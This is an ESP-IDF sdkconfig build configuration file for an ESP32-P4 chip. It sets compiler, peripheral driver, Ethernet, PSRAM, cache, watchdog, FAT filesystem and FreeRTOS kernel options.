# CONFIG_COMPILER_NO_MERGE_CONSTANTS is not set
# CONFIG_COMPILER_WARN_WRITE_STRINGS is not set
# CONFIG_COMPILER_SAVE_RESTORE_LIBCALLS is not set
CONFIG_COMPILER_DISABLE_DEFAULT_ERRORS=y
# CONFIG_COMPILER_DISABLE_GCC12_WARNINGS is not set
# CONFIG_COMPILER_DISABLE_GCC13_WARNINGS is not set
# CONFIG_COMPILER_DISABLE_GCC14_WARNINGS is not set
# CONFIG_COMPILER_DUMP_RTL_FILES is not set
CONFIG_COMPILER_RT_LIB_GCCLIB=y
CONFIG_COMPILER_RT_LIB_NAME="gcc"
# CONFIG_COMPILER_ORPHAN_SECTIONS_WARNING is not set
CONFIG_COMPILER_ORPHAN_SECTIONS_PLACE=y
# CONFIG_COMPILER_STATIC_ANALYZER is not set
# end of Compiler options
#
# Component config
#
#
# Application Level Tracing
#
# CONFIG_APPTRACE_DEST_JTAG is not set
CONFIG_APPTRACE_DEST_NONE=y
# CONFIG_APPTRACE_DEST_UART1 is not set
# CONFIG_APPTRACE_DEST_UART2 is not set
CONFIG_APPTRACE_DEST_UART_NONE=y
CONFIG_APPTRACE_UART_TASK_PRIO=1
CONFIG_APPTRACE_LOCK_ENABLE=y
# end of Application Level Tracing
#
# Bluetooth
#
# CONFIG_BT_ENABLED is not set
CONFIG_BT_ALARM_MAX_NUM=50
# end of Bluetooth
#
# Console Library
#
# CONFIG_CONSOLE_SORTED_HELP is not set
# end of Console Library
#
# Driver Configurations
#
#
# TWAI Configuration
#
# CONFIG_TWAI_ISR_IN_IRAM is not set
# end of TWAI Configuration
#
# Legacy ADC Driver Configuration
#
# CONFIG_ADC_SUPPRESS_DEPRECATE_WARN is not set
#
# Legacy ADC Calibration Configuration
#
# CONFIG_ADC_CALI_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy ADC Calibration Configuration
# end of Legacy ADC Driver Configuration
#
# Legacy MCPWM Driver Configurations
#
# CONFIG_MCPWM_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy MCPWM Driver Configurations
#
# Legacy Timer Group Driver Configurations
#
# CONFIG_GPTIMER_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy Timer Group Driver Configurations
#
# Legacy RMT Driver Configurations
#
# CONFIG_RMT_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy RMT Driver Configurations
#
# Legacy I2S Driver Configurations
#
# CONFIG_I2S_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy I2S Driver Configurations
#
# Legacy PCNT Driver Configurations
#
# CONFIG_PCNT_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy PCNT Driver Configurations
#
# Legacy SDM Driver Configurations
#
# CONFIG_SDM_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy SDM Driver Configurations
#
# Legacy Temperature Sensor Driver Configurations
#
# CONFIG_TEMP_SENSOR_SUPPRESS_DEPRECATE_WARN is not set
# end of Legacy Temperature Sensor Driver Configurations
# end of Driver Configurations
#
# eFuse Bit Manager
#
# CONFIG_EFUSE_CUSTOM_TABLE is not set
# CONFIG_EFUSE_VIRTUAL is not set
CONFIG_EFUSE_MAX_BLK_LEN=256
# end of eFuse Bit Manager
#
# ESP-TLS
#
CONFIG_ESP_TLS_USING_MBEDTLS=y
CONFIG_ESP_TLS_USE_DS_PERIPHERAL=y
# CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set
# CONFIG_ESP_TLS_SERVER_SESSION_TICKETS is not set
# CONFIG_ESP_TLS_SERVER_CERT_SELECT_HOOK is not set
# CONFIG_ESP_TLS_SERVER_MIN_AUTH_MODE_OPTIONAL is not set
# CONFIG_ESP_TLS_PSK_VERIFICATION is not set
# CONFIG_ESP_TLS_INSECURE is not set
# end of ESP-TLS
#
# ADC and ADC Calibration
#
# CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set
# CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set
# CONFIG_ADC_ENABLE_DEBUG_LOG is not set
# end of ADC and ADC Calibration
#
# Wireless Coexistence
#
# CONFIG_ESP_COEX_GPIO_DEBUG is not set
# end of Wireless Coexistence
#
# Common ESP-related
#
CONFIG_ESP_ERR_TO_NAME_LOOKUP=y
# end of Common ESP-related
#
# ESP-Driver:Analog Comparator Configurations
#
# CONFIG_ANA_CMPR_ISR_IRAM_SAFE is not set
# CONFIG_ANA_CMPR_CTRL_FUNC_IN_IRAM is not set
# CONFIG_ANA_CMPR_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Analog Comparator Configurations
#
# ESP-Driver:Camera Controller Configurations
#
# CONFIG_CAM_CTLR_MIPI_CSI_ISR_IRAM_SAFE is not set
# CONFIG_CAM_CTLR_ISP_DVP_ISR_IRAM_SAFE is not set
# CONFIG_CAM_CTLR_DVP_CAM_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Camera Controller Configurations
#
# ESP-Driver:GPIO Configurations
#
# CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:GPIO Configurations
#
# ESP-Driver:GPTimer Configurations
#
CONFIG_GPTIMER_ISR_HANDLER_IN_IRAM=y
# CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set
# CONFIG_GPTIMER_ISR_IRAM_SAFE is not set
# CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:GPTimer Configurations
#
# ESP-Driver:I2C Configurations
#
# CONFIG_I2C_ISR_IRAM_SAFE is not set
# CONFIG_I2C_ENABLE_DEBUG_LOG is not set
# CONFIG_I2C_ENABLE_SLAVE_DRIVER_VERSION_2 is not set
# end of ESP-Driver:I2C Configurations
#
# ESP-Driver:I2S Configurations
#
# CONFIG_I2S_ISR_IRAM_SAFE is not set
# CONFIG_I2S_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:I2S Configurations
#
# ESP-Driver:ISP Configurations
#
# CONFIG_ISP_ISR_IRAM_SAFE is not set
# CONFIG_ISP_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:ISP Configurations
#
# ESP-Driver:JPEG-Codec Configurations
#
# CONFIG_JPEG_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:JPEG-Codec Configurations
#
# ESP-Driver:LEDC Configurations
#
# CONFIG_LEDC_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:LEDC Configurations
#
# ESP-Driver:MCPWM Configurations
#
# CONFIG_MCPWM_ISR_IRAM_SAFE is not set
# CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set
# CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:MCPWM Configurations
#
# ESP-Driver:Parallel IO Configurations
#
# CONFIG_PARLIO_ENABLE_DEBUG_LOG is not set
# CONFIG_PARLIO_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Parallel IO Configurations
#
# ESP-Driver:PCNT Configurations
#
# CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set
# CONFIG_PCNT_ISR_IRAM_SAFE is not set
# CONFIG_PCNT_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:PCNT Configurations
#
# ESP-Driver:RMT Configurations
#
# CONFIG_RMT_ISR_IRAM_SAFE is not set
# CONFIG_RMT_RECV_FUNC_IN_IRAM is not set
# CONFIG_RMT_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:RMT Configurations
#
# ESP-Driver:Sigma Delta Modulator Configurations
#
# CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set
# CONFIG_SDM_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Sigma Delta Modulator Configurations
#
# ESP-Driver:SPI Configurations
#
# CONFIG_SPI_MASTER_IN_IRAM is not set
CONFIG_SPI_MASTER_ISR_IN_IRAM=y
# CONFIG_SPI_SLAVE_IN_IRAM is not set
CONFIG_SPI_SLAVE_ISR_IN_IRAM=y
# end of ESP-Driver:SPI Configurations
#
# ESP-Driver:Touch Sensor Configurations
#
# CONFIG_TOUCH_CTRL_FUNC_IN_IRAM is not set
# CONFIG_TOUCH_ISR_IRAM_SAFE is not set
# CONFIG_TOUCH_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Touch Sensor Configurations
#
# ESP-Driver:Temperature Sensor Configurations
#
# CONFIG_TEMP_SENSOR_ENABLE_DEBUG_LOG is not set
# CONFIG_TEMP_SENSOR_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Temperature Sensor Configurations
#
# ESP-Driver:UART Configurations
#
# CONFIG_UART_ISR_IN_IRAM is not set
# end of ESP-Driver:UART Configurations
#
# ESP-Driver:USB Serial/JTAG Configuration
#
CONFIG_USJ_ENABLE_USB_SERIAL_JTAG=y
# end of ESP-Driver:USB Serial/JTAG Configuration
#
# Ethernet
#
CONFIG_ETH_ENABLED=y
CONFIG_ETH_USE_ESP32_EMAC=y
CONFIG_ETH_PHY_INTERFACE_RMII=y
CONFIG_ETH_DMA_BUFFER_SIZE=512
CONFIG_ETH_DMA_RX_BUFFER_NUM=20
CONFIG_ETH_DMA_TX_BUFFER_NUM=10
# CONFIG_ETH_SOFT_FLOW_CONTROL is not set
# CONFIG_ETH_IRAM_OPTIMIZATION is not set
CONFIG_ETH_USE_SPI_ETHERNET=y
# CONFIG_ETH_SPI_ETHERNET_DM9051 is not set
# CONFIG_ETH_SPI_ETHERNET_W5500 is not set
# CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set
# CONFIG_ETH_USE_OPENETH is not set
# CONFIG_ETH_TRANSMIT_MUTEX is not set
# end of Ethernet
#
# Event Loop Library
#
# CONFIG_ESP_EVENT_LOOP_PROFILING is not set
CONFIG_ESP_EVENT_POST_FROM_ISR=y
CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y
# end of Event Loop Library
#
# GDB Stub
#
CONFIG_ESP_GDBSTUB_ENABLED=y
# CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set
CONFIG_ESP_GDBSTUB_SUPPORT_TASKS=y
CONFIG_ESP_GDBSTUB_MAX_TASKS=32
# end of GDB Stub
#
# ESP HTTP client
#
CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y
# CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set
# CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set
# CONFIG_ESP_HTTP_CLIENT_ENABLE_CUSTOM_TRANSPORT is not set
CONFIG_ESP_HTTP_CLIENT_EVENT_POST_TIMEOUT=2000
# end of ESP HTTP client
#
# HTTP Server
#
CONFIG_HTTPD_MAX_REQ_HDR_LEN=512
CONFIG_HTTPD_MAX_URI_LEN=512
CONFIG_HTTPD_ERR_RESP_NO_DELAY=y
CONFIG_HTTPD_PURGE_BUF_LEN=32
# CONFIG_HTTPD_LOG_PURGE_DATA is not set
# CONFIG_HTTPD_WS_SUPPORT is not set
# CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set
CONFIG_HTTPD_SERVER_EVENT_POST_TIMEOUT=2000
# end of HTTP Server
#
# ESP HTTPS OTA
#
# CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set
# CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set
CONFIG_ESP_HTTPS_OTA_EVENT_POST_TIMEOUT=2000
# end of ESP HTTPS OTA
#
# ESP HTTPS server
#
# CONFIG_ESP_HTTPS_SERVER_ENABLE is not set
CONFIG_ESP_HTTPS_SERVER_EVENT_POST_TIMEOUT=2000
# end of ESP HTTPS server
#
# Hardware Settings
#
#
# Chip revision
#
# CONFIG_ESP32P4_REV_MIN_0 is not set
CONFIG_ESP32P4_REV_MIN_1=y
# CONFIG_ESP32P4_REV_MIN_100 is not set
CONFIG_ESP32P4_REV_MIN_FULL=1
CONFIG_ESP_REV_MIN_FULL=1
#
# Maximum Supported ESP32-P4 Revision (Rev v1.99)
#
CONFIG_ESP32P4_REV_MAX_FULL=199
CONFIG_ESP_REV_MAX_FULL=199
CONFIG_ESP_EFUSE_BLOCK_REV_MIN_FULL=0
CONFIG_ESP_EFUSE_BLOCK_REV_MAX_FULL=99
#
# Maximum Supported ESP32-P4 eFuse Block Revision (eFuse Block Rev v0.99)
#
# end of Chip revision
#
# MAC Config
#
CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y
CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES_ONE=y
CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES=1
CONFIG_ESP32P4_UNIVERSAL_MAC_ADDRESSES_ONE=y
CONFIG_ESP32P4_UNIVERSAL_MAC_ADDRESSES=1
# CONFIG_ESP_MAC_USE_CUSTOM_MAC_AS_BASE_MAC is not set
# end of MAC Config
#
# Sleep Config
#
CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y
CONFIG_ESP_SLEEP_PSRAM_LEAKAGE_WORKAROUND=y
# CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set
# CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND is not set
CONFIG_ESP_SLEEP_WAIT_FLASH_READY_EXTRA_DELAY=0
# CONFIG_ESP_SLEEP_CACHE_SAFE_ASSERTION is not set
# CONFIG_ESP_SLEEP_DEBUG is not set
CONFIG_ESP_SLEEP_GPIO_ENABLE_INTERNAL_RESISTORS=y
# end of Sleep Config
#
# RTC Clock Config
#
CONFIG_RTC_CLK_SRC_INT_RC=y
# CONFIG_RTC_CLK_SRC_EXT_CRYS is not set
CONFIG_RTC_CLK_CAL_CYCLES=1024
CONFIG_RTC_FAST_CLK_SRC_RC_FAST=y
# CONFIG_RTC_FAST_CLK_SRC_XTAL is not set
# end of RTC Clock Config
#
# Peripheral Control
#
CONFIG_PERIPH_CTRL_FUNC_IN_IRAM=y
# end of Peripheral Control
#
# ETM Configuration
#
# CONFIG_ETM_ENABLE_DEBUG_LOG is not set
# end of ETM Configuration
#
# GDMA Configurations
#
CONFIG_GDMA_CTRL_FUNC_IN_IRAM=y
# CONFIG_GDMA_ISR_IRAM_SAFE is not set
# CONFIG_GDMA_ENABLE_DEBUG_LOG is not set
# end of GDMA Configurations
#
# DW_GDMA Configurations
#
# CONFIG_DW_GDMA_ENABLE_DEBUG_LOG is not set
# end of DW_GDMA Configurations
#
# 2D-DMA Configurations
#
# CONFIG_DMA2D_OPERATION_FUNC_IN_IRAM is not set
# CONFIG_DMA2D_ISR_IRAM_SAFE is not set
# end of 2D-DMA Configurations
#
# Main XTAL Config
#
CONFIG_XTAL_FREQ_40=y
CONFIG_XTAL_FREQ=40
# end of Main XTAL Config
#
# DCDC Regulator Configurations
#
CONFIG_ESP_SLEEP_KEEP_DCDC_ALWAYS_ON=y
CONFIG_ESP_SLEEP_DCM_VSET_VAL_IN_SLEEP=14
# end of DCDC Regulator Configurations
#
# LDO Regulator Configurations
#
CONFIG_ESP_LDO_RESERVE_SPI_NOR_FLASH=y
CONFIG_ESP_LDO_CHAN_SPI_NOR_FLASH_DOMAIN=1
CONFIG_ESP_LDO_VOLTAGE_SPI_NOR_FLASH_3300_MV=y
CONFIG_ESP_LDO_VOLTAGE_SPI_NOR_FLASH_DOMAIN=3300
CONFIG_ESP_LDO_RESERVE_PSRAM=y
CONFIG_ESP_LDO_CHAN_PSRAM_DOMAIN=2
CONFIG_ESP_LDO_VOLTAGE_PSRAM_1900_MV=y
CONFIG_ESP_LDO_VOLTAGE_PSRAM_DOMAIN=1900
# end of LDO Regulator Configurations
CONFIG_ESP_SPI_BUS_LOCK_ISR_FUNCS_IN_IRAM=y
# end of Hardware Settings
#
# ESP-Driver:LCD Controller Configurations
#
# CONFIG_LCD_ENABLE_DEBUG_LOG is not set
# CONFIG_LCD_RGB_ISR_IRAM_SAFE is not set
# CONFIG_LCD_RGB_RESTART_IN_VSYNC is not set
# CONFIG_LCD_DSI_ISR_IRAM_SAFE is not set
# end of ESP-Driver:LCD Controller Configurations
#
# ESP-MM: Memory Management Configurations
#
# CONFIG_ESP_MM_CACHE_MSYNC_C2M_CHUNKED_OPS is not set
# end of ESP-MM: Memory Management Configurations
#
# ESP NETIF Adapter
#
CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120
# CONFIG_ESP_NETIF_PROVIDE_CUSTOM_IMPLEMENTATION is not set
CONFIG_ESP_NETIF_TCPIP_LWIP=y
# CONFIG_ESP_NETIF_LOOPBACK is not set
CONFIG_ESP_NETIF_USES_TCPIP_WITH_BSD_API=y
CONFIG_ESP_NETIF_REPORT_DATA_TRAFFIC=y
# CONFIG_ESP_NETIF_RECEIVE_REPORT_ERRORS is not set
# CONFIG_ESP_NETIF_L2_TAP is not set
# CONFIG_ESP_NETIF_BRIDGE_EN is not set
# CONFIG_ESP_NETIF_SET_DNS_PER_DEFAULT_NETIF is not set
# end of ESP NETIF Adapter
#
# Partition API Configuration
#
# end of Partition API Configuration
#
# PHY
#
# end of PHY
#
# Power Management
#
# CONFIG_PM_ENABLE is not set
# CONFIG_PM_SLP_IRAM_OPT is not set
# CONFIG_PM_POWER_DOWN_PERIPHERAL_IN_LIGHT_SLEEP is not set
# end of Power Management
#
# ESP PSRAM
#
CONFIG_SPIRAM=y
#
# PSRAM config
#
CONFIG_SPIRAM_MODE_HEX=y
CONFIG_SPIRAM_SPEED_200M=y
# CONFIG_SPIRAM_SPEED_20M is not set
CONFIG_SPIRAM_SPEED=200
CONFIG_SPIRAM_FETCH_INSTRUCTIONS=y
CONFIG_SPIRAM_RODATA=y
CONFIG_SPIRAM_XIP_FROM_PSRAM=y
CONFIG_SPIRAM_FLASH_LOAD_TO_PSRAM=y
# CONFIG_SPIRAM_ECC_ENABLE is not set
CONFIG_SPIRAM_BOOT_INIT=y
# CONFIG_SPIRAM_IGNORE_NOTFOUND is not set
# CONFIG_SPIRAM_USE_MEMMAP is not set
# CONFIG_SPIRAM_USE_CAPS_ALLOC is not set
CONFIG_SPIRAM_USE_MALLOC=y
CONFIG_SPIRAM_MEMTEST=y
CONFIG_SPIRAM_MALLOC_ALWAYSINTERNAL=16384
# CONFIG_SPIRAM_TRY_ALLOCATE_WIFI_LWIP is not set
CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL=32768
# CONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY is not set
# CONFIG_SPIRAM_ALLOW_NOINIT_SEG_EXTERNAL_MEMORY is not set
# end of PSRAM config
# end of ESP PSRAM
#
# ESP Ringbuf
#
# CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set
# end of ESP Ringbuf
#
# ESP Security Specific
#
# end of ESP Security Specific
#
# ESP System Settings
#
CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_360=y
CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=360
#
# Cache config
#
# CONFIG_CACHE_L2_CACHE_128KB is not set
CONFIG_CACHE_L2_CACHE_256KB=y
# CONFIG_CACHE_L2_CACHE_512KB is not set
CONFIG_CACHE_L2_CACHE_SIZE=0x40000
# CONFIG_CACHE_L2_CACHE_LINE_64B is not set
CONFIG_CACHE_L2_CACHE_LINE_128B=y
CONFIG_CACHE_L2_CACHE_LINE_SIZE=128
CONFIG_CACHE_L1_CACHE_LINE_SIZE=64
# end of Cache config
# CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set
CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y
# CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set
# CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set
CONFIG_ESP_SYSTEM_PANIC_REBOOT_DELAY_SECONDS=0
CONFIG_ESP_SYSTEM_RTC_FAST_MEM_AS_HEAP_DEPCHECK=y
CONFIG_ESP_SYSTEM_ALLOW_RTC_FAST_MEM_AS_HEAP=y
# CONFIG_ESP_SYSTEM_USE_EH_FRAME is not set
#
# Memory protection
#
CONFIG_ESP_SYSTEM_PMP_IDRAM_SPLIT=y
# CONFIG_ESP_SYSTEM_PMP_LP_CORE_RESERVE_MEM_EXECUTABLE is not set
# end of Memory protection
CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32
CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304
CONFIG_ESP_MAIN_TASK_STACK_SIZE=12288
CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y
# CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set
# CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set
CONFIG_ESP_MAIN_TASK_AFFINITY=0x0
CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048
CONFIG_ESP_CONSOLE_UART_DEFAULT=y
# CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG is not set
# CONFIG_ESP_CONSOLE_UART_CUSTOM is not set
# CONFIG_ESP_CONSOLE_NONE is not set
# CONFIG_ESP_CONSOLE_SECONDARY_NONE is not set
CONFIG_ESP_CONSOLE_SECONDARY_USB_SERIAL_JTAG=y
CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG_ENABLED=y
CONFIG_ESP_CONSOLE_UART=y
CONFIG_ESP_CONSOLE_UART_NUM=0
CONFIG_ESP_CONSOLE_ROM_SERIAL_PORT_NUM=0
CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200
CONFIG_ESP_INT_WDT=y
CONFIG_ESP_INT_WDT_TIMEOUT_MS=300
CONFIG_ESP_INT_WDT_CHECK_CPU1=y
CONFIG_ESP_TASK_WDT_EN=y
CONFIG_ESP_TASK_WDT_INIT=y
# CONFIG_ESP_TASK_WDT_PANIC is not set
CONFIG_ESP_TASK_WDT_TIMEOUT_S=5
CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y
CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y
# CONFIG_ESP_PANIC_HANDLER_IRAM is not set
# CONFIG_ESP_DEBUG_STUBS_ENABLE is not set
CONFIG_ESP_DEBUG_OCDAWARE=y
CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_4=y
#
# Brownout Detector
#
CONFIG_ESP_BROWNOUT_DET=y
CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7=y
# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set
# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set
CONFIG_ESP_BROWNOUT_DET_LVL=7
# end of Brownout Detector
CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y
CONFIG_ESP_SYSTEM_HW_STACK_GUARD=y
CONFIG_ESP_SYSTEM_HW_PC_RECORD=y
# end of ESP System Settings
#
# IPC (Inter-Processor Call)
#
CONFIG_ESP_IPC_TASK_STACK_SIZE=1024
CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y
CONFIG_ESP_IPC_ISR_ENABLE=y
# end of IPC (Inter-Processor Call)
#
# ESP Timer (High Resolution Timer)
#
# CONFIG_ESP_TIMER_PROFILING is not set
CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y
CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y
CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584
CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1
# CONFIG_ESP_TIMER_SHOW_EXPERIMENTAL is not set
CONFIG_ESP_TIMER_TASK_AFFINITY=0x0
CONFIG_ESP_TIMER_TASK_AFFINITY_CPU0=y
CONFIG_ESP_TIMER_ISR_AFFINITY_CPU0=y
# CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set
CONFIG_ESP_TIMER_IMPL_SYSTIMER=y
# end of ESP Timer (High Resolution Timer)
#
# Wi-Fi
#
# CONFIG_ESP_HOST_WIFI_ENABLED is not set
# end of Wi-Fi
#
# Core dump
#
# CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set
# CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set
CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y
# end of Core dump
#
# FAT Filesystem support
#
CONFIG_FATFS_VOLUME_COUNT=2
CONFIG_FATFS_LFN_NONE=y
# CONFIG_FATFS_LFN_HEAP is not set
# CONFIG_FATFS_LFN_STACK is not set
# CONFIG_FATFS_SECTOR_512 is not set
CONFIG_FATFS_SECTOR_4096=y
# CONFIG_FATFS_CODEPAGE_DYNAMIC is not set
CONFIG_FATFS_CODEPAGE_437=y
# CONFIG_FATFS_CODEPAGE_720 is not set
# CONFIG_FATFS_CODEPAGE_737 is not set
# CONFIG_FATFS_CODEPAGE_771 is not set
# CONFIG_FATFS_CODEPAGE_775 is not set
# CONFIG_FATFS_CODEPAGE_850 is not set
# CONFIG_FATFS_CODEPAGE_852 is not set
# CONFIG_FATFS_CODEPAGE_855 is not set
# CONFIG_FATFS_CODEPAGE_857 is not set
# CONFIG_FATFS_CODEPAGE_860 is not set
# CONFIG_FATFS_CODEPAGE_861 is not set
# CONFIG_FATFS_CODEPAGE_862 is not set
# CONFIG_FATFS_CODEPAGE_863 is not set
# CONFIG_FATFS_CODEPAGE_864 is not set
# CONFIG_FATFS_CODEPAGE_865 is not set
# CONFIG_FATFS_CODEPAGE_866 is not set
# CONFIG_FATFS_CODEPAGE_869 is not set
# CONFIG_FATFS_CODEPAGE_932 is not set
# CONFIG_FATFS_CODEPAGE_936 is not set
# CONFIG_FATFS_CODEPAGE_949 is not set
# CONFIG_FATFS_CODEPAGE_950 is not set
CONFIG_FATFS_CODEPAGE=437
CONFIG_FATFS_FS_LOCK=0
CONFIG_FATFS_TIMEOUT_MS=10000
CONFIG_FATFS_PER_FILE_CACHE=y
CONFIG_FATFS_ALLOC_PREFER_EXTRAM=y
# CONFIG_FATFS_USE_FASTSEEK is not set
CONFIG_FATFS_USE_STRFUNC_NONE=y
# CONFIG_FATFS_USE_STRFUNC_WITHOUT_CRLF_CONV is not set
# CONFIG_FATFS_USE_STRFUNC_WITH_CRLF_CONV is not set
CONFIG_FATFS_VFS_FSTAT_BLKSIZE=0
# CONFIG_FATFS_IMMEDIATE_FSYNC is not set
# CONFIG_FATFS_USE_LABEL is not set
CONFIG_FATFS_LINK_LOCK=y
# end of FAT Filesystem support
#
# FreeRTOS
#
#
# Kernel
#
# CONFIG_FREERTOS_UNICORE is not set
CONFIG_FREERTOS_HZ=1000
# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set
# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set
CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y
CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1
CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536
# CONFIG_FREERTOS_USE_IDLE_HOOK is not set
# CONFIG_FREERTOS_USE_TICK_HOOK is not set
CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16
# CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set
CONFIG_FREERTOS_USE_TIMERS=y
CONFIG_FREERTOS_TIMER_SERVICE_TASK_NAME="Tmr Svc"
# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU0 is not set
# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU1 is not set
CONFIG_FREERTOS_TIMER_TASK_NO_AFFINITY=y
CONFIG_FREERTOS_TIMER_SERVICE_TASK_CORE_AFFINITY=0x7FFFFFFF
CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1
CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048
CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10
CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0
CONFIG_FREERTOS_TASK_NOTIFICATION_ARRAY_ENTRIES=1
CONFIG_FREERTOS_USE_TRACE_FACILITY=y
CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y
# CONFIG_FREERTOS_USE_LIST_DATA_INTEGRITY_CHECK_BYTES is not set
CONFIG_FREERTOS_VTASKLIST_INCLUDE_COREID=y
CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS=y
CONFIG_FREERTOS_RUN_TIME_COUNTER_TYPE_U32=y
# CONFIG_FREERTOS_RUN_TIME_COUNTER_TYPE_U64 is not set
# CONFIG_FREERTOS_USE_APPLICATION_TASK_TAG is not set
# end of Kernel
#
# Port
#
# CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set
CONFIG_FREERTOS_TLSP_DELETION_CALLBACKS=y
# CONFIG_FREERTOS_TASK_PRE_DELETION_HOOK is not set
# CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set
CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y
CONFIG_FREERTOS_ISR_STACKSIZE=1536
CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y
CONFIG_FREERTOS_TICK_SUPPORT_SYSTIMER=y
CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL1=y
# CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL3 is not set
CONFIG_FREERTOS_SYSTICK_USES_SYSTIMER=y
CONFIG_FREERTOS_RUN_TIME_STATS_USING_ESP_TIMER=y
# CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH is not set
# CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set
# end of Port
#
# Extra
#
CONFIG_FREERTOS_TASK_CREATE_ALLOW_EXT_MEM=y
# end of Extra
CONFIG_FREERTOS_PORT=y
CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF
CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y
CONFIG_FREERTOS_DEBUG_OCDAWARE=y
